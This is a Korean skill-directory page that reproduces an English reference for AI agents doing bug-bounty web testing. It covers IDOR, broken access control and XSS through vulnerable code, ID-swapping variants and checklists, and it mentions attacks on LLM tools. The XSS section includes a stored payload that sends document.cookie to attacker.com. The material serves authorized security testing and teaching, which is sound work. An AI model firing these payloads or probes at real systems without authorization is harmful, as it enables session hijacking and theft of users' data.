web2-vuln-classes
하는 일
이 스킬은 웹 앱을 테스트하는 에이전트를 위한 참고 안내서입니다. IDOR, SSRF, XSS, SQL 인젝션 같은 흔한 결함이 어떻게 생기고 어떻게 찾아내는지 설명합니다.
사용하는 경우
- ✓테스터가 IDOR나 SSRF 같은 흔한 웹 결함이 어떻게 작동하는지 배우고 싶을 때.
- ✓테스터가 특정 결함 유형에 필요한 탐지 패턴이나 우회 아이디어를 원하는 경우.
- ✓테스터가 발견 사항을 알려진 근본 원인과 비교하려고 할 때.
스킬 링크
https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“이 앱을 IDOR에 대해 테스트하는 방법을 알려 주세요. 흔한 근본 원인과 살펴볼 점도 함께 설명해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 참고 자료에서 알맞은 유형을 찾고, 근본 원인, 탐지 패턴, 우회 표를 이용해 테스트를 계획합니다. 로그인이 필요한 유형은 표시되며, 접근 확인을 위해 두 개의 세션을 쓰도록 제안합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
WEB2 BUG CLASSES — 26 Classes
Root cause, pattern, bypass table, chaining opportunity, real paid examples.
Auth-required classes (🔐): the ones below need at least one logged-in session loaded into the hunt to be testable. Use
hunt.py --auth-file .private/T.jsonor--cookie/--bearerflags — every recon/scan tool then inherits the headers automatically. For IDOR/BOLA/priv-esc, load two sessions (low- and high-priv) and diff. Seedocs/auth-sessions.md.🔐 IDOR · Broken Auth/Access Control · Mass Assignment · OAuth/OIDC · JWT · GraphQL field-level auth · LLM/AI chatbot IDOR · MFA (rate-limit + response manipulation tests) · ATO chains · SSRF behind login
The MFA workflow-skip and SAML signature-stripping probes intentionally stay unauthenticated even when a session is loaded — that's the attack premise.
1. IDOR — INSECURE DIRECT OBJECT REFERENCE 🔐
#1 most paid web2 class — 30% of all submissions that get paid. Needs two sessions (A=attacker, B=victim) — load both via
--auth-fileand diff audit-logsession_idhashes to confirm cross-tenant access.
Root Cause
# VULNERABLE — no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
return jsonify(order) # Never checks if order belongs to current user!
# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
order_id, current_user.id)
Variants
- V1: Numeric ID swap —
/api/user/123/profile→ change to 124 - V2: UUID swap — enumerate UUID via email invite or other endpoint
- V3: Indirect IDOR —
POST /api/export?report_id=456exports another user's report - V4: Parameter add —
?user_id=othermakes backend use it - V5: HTTP method swap — PUT protected, DELETE not
- V6: Old API version —
/v1/users/123lacks auth that/v2/has - V7: GraphQL node —
{ node(id: "base64(User:456)") { email } } - V8: WebSocket — WS sends
{"action":"get_history","userId":"client-generated-UUID"}
Testing Checklist
[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs
IDOR Chain Escalation
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot reads other user's data = High
2. BROKEN AUTH / ACCESS CONTROL 🔐
#2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug. Needs auth loaded — you're testing which sibling routes a logged-in user can reach that shouldn't be reachable. Compare authed responses against the same paths hit anonymously.
The Sibling Rule
/api/admin/users → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset → often MISSING it
Patterns
// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!
Real Paid Examples
- HackerOne TrustHub:
POST /graphqlwithTrustHubQuery— no auth, regular user reads all vendors (CVSS 8.7 High) - Vienna Chatbot: WebSocket
get_historyaccepts arbitrary UUID — no ownership check (P2)
3. XSS — CROSS-SITE SCRIPTING
Stored XSS (highest impact)
Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS → cookie theft → session hijack
DOM XSS Sinks (grep for these)
innerHTML = userInput // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
element.src = userInput // JavaScript URI possible
location.href = userInput
postMessage is a DOM XSS source — same sinks above (innerHTML, eval
자주 묻는 질문
몇 가지 유형이 포함되나요?
IDOR, SSRF, XSS, SQL 인젝션, 파일 업로드를 포함해 26가지 웹 버그 유형을 다룹니다.
세션을 두 개 쓰는 이유는 무엇인가요?
스킬은 낮은 권한 세션과 높은 권한 세션을 불러와 접근 권한을 비교하라고 제안합니다.
AI 위험도 포함되나요?
네. ASI 분류에 대응하는 LLM과 AI 위험을 포함합니다.
상세 정보
작성자의 원본 설명
Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS (postMessage), SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10, MCP/RAG attacks), API misconfig (mass assignment, JWT, prototype pollution, CORS), ATO (9 paths), SSTI, subdomain takeover, cloud misconfig, HTTP smuggling, cache poisoning, MFA bypass (7 patterns), SAML attacks, error disclosure, CSS injection, LFI/RCE, insecure de
인기도
- GitHub 스타
- 5.5k
- 순위
- #14797
- 라이선스
- MIT
- 업데이트
- 2026. 10. 28.
댓글
- …
이 저장소의 다른 스킬
bug-bounty
5.5k에이전트가 범위 확인, 자산 매핑, 취약점 테스트, 영향 검증, 보고서 작성까지 버그 바운티 점검을 단계별로 계획하도록 돕습니다.
agentic-app-audit
5.5k에이전트가 운영 중인 AI 어시스턴트를 외부에서 점검해 도구 호출 탈취, 메모리 오염, 과도한 권한 사용 같은 위험을 찾도록 돕습니다.
argus
5.5k에이전트가 웹 앱과 API의 흔한 취약점을 찾는 여섯 가지 자동 스캐너를 실행하도록 돕습니다.
bb-methodology
5.5k에이전트가 버그 바운티 세션을 단계별로 계획하고, 다음 단계와 적절한 점검을 고르며, 실제 피해를 낼 수 없는 아이디어는 버리도록 돕습니다.